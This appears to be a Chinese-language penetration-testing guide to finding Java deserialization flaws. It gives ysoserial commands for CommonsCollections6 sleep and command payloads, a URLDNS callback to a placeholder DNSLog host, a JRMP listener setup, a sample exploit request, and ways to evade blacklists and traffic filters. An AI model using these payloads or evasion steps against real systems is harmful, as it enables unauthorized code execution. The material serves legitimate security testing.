Java反序列化測試
- 1. 識別反序列化入口點
- 2. 構造探測Payload
- 3. 發送Payload并觀察結果
- 4. 繞過可能的防護
- 5. 自動化工具
- 注意事項
- 總結
Java反序列化測試:
1. 識別反序列化入口點
- 常見入口:
- HTTP請求參數(如POST數據、Cookie、Headers)。
- RMI(遠程方法調用)、JMX(Java管理擴展)等Java遠程協議。
- 文件上傳/下載功能(如序列化對象文件)。
- 自定義二進制協議或API接口。
- 特征識別:
- 序列化數據通常以魔數
AC ED 00 05
(十六進制)開頭,Base64編碼后為rO0
。 - 檢查請求頭或參數中是否包含類似
rO0ABQ...
的Base64字符串。
- 序列化數據通常以魔數
2. 構造探測Payload
方法一:觸發延遲或異常
- 生成一個導致線程睡眠或拋出異常的Payload,觀察響應時間或錯誤信息:
# 使用ysoserial生成CommonsCollections6的睡眠Payload(休眠10秒) java -jar ysoserial.jar CommonsCollections6 "sleep 10" > payload.bin
- 發送Payload后,若響應延遲顯著增加,可能漏洞存在。
方法二:DNS外帶探測(推薦)
- 生成觸發DNS查詢的Payload,驗證是否存在反序列化漏洞:
# 使用ysoserial的URLDNS模塊(替換your.dnslog.cn) java -jar ysoserial.jar URLDNS "http://your.dnslog.cn" > payload.bin
- 發送Payload后,檢查DNSLog平臺是否有記錄(需提前注冊DNSLog服務)。
方法三:JRMP反向探測
- 啟動一個JRMP監聽服務(如使用
ysoserial.exploit.JRMPListener
):java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "命令"
- 生成JRMP客戶端Payload并發送,若目標反序列化時連接你的JRMP服務,則存在漏洞。
3. 發送Payload并觀察結果
- 編碼Payload:將生成的二進制Payload轉換為Base64或URL編碼:
base64 -w0 payload.bin
- 發送請求(示例):
POST /vulnerable-endpoint HTTP/1.1 Content-Type: application/x-java-serialized-object[Base64 Payload]
- 工具輔助:使用Burp Suite、Postman或自定義腳本發送Payload。
4. 繞過可能的防護
- 流量混淆:
- 對Payload進行GZIP壓縮或附加額外字節。
- 使用不同編碼(如Hex、Unicode)。
- 繞過黑名單:
- 嘗試冷門Gadget鏈(如Beanutils、ROME)。
- 使用無依賴的Gadget(如
java.util.HashSet
)。
5. 自動化工具
- Burp Suite插件:
- Freddy:自動化檢測反序列化漏洞。
- Serialization Scanner:掃描入口點并生成Payload。
- 其他工具:
- GadgetProbe:探測目標類路徑中的可用Gadget。
- marshalsec:快速啟動JRMP/LDAP惡意服務。
注意事項
- 謹慎執行命令:避免使用
Runtime.exec
等危險操作,優先用DNS/HTTP外帶驗證。 - 環境差異:不同JDK版本和庫可能影響Gadget可用性。
總結
關鍵在于識別入口點并通過外帶通信(DNS/HTTP)或延遲特征確認漏洞。結合工具生成Payload和流量分析,可有效提高檢測成功率。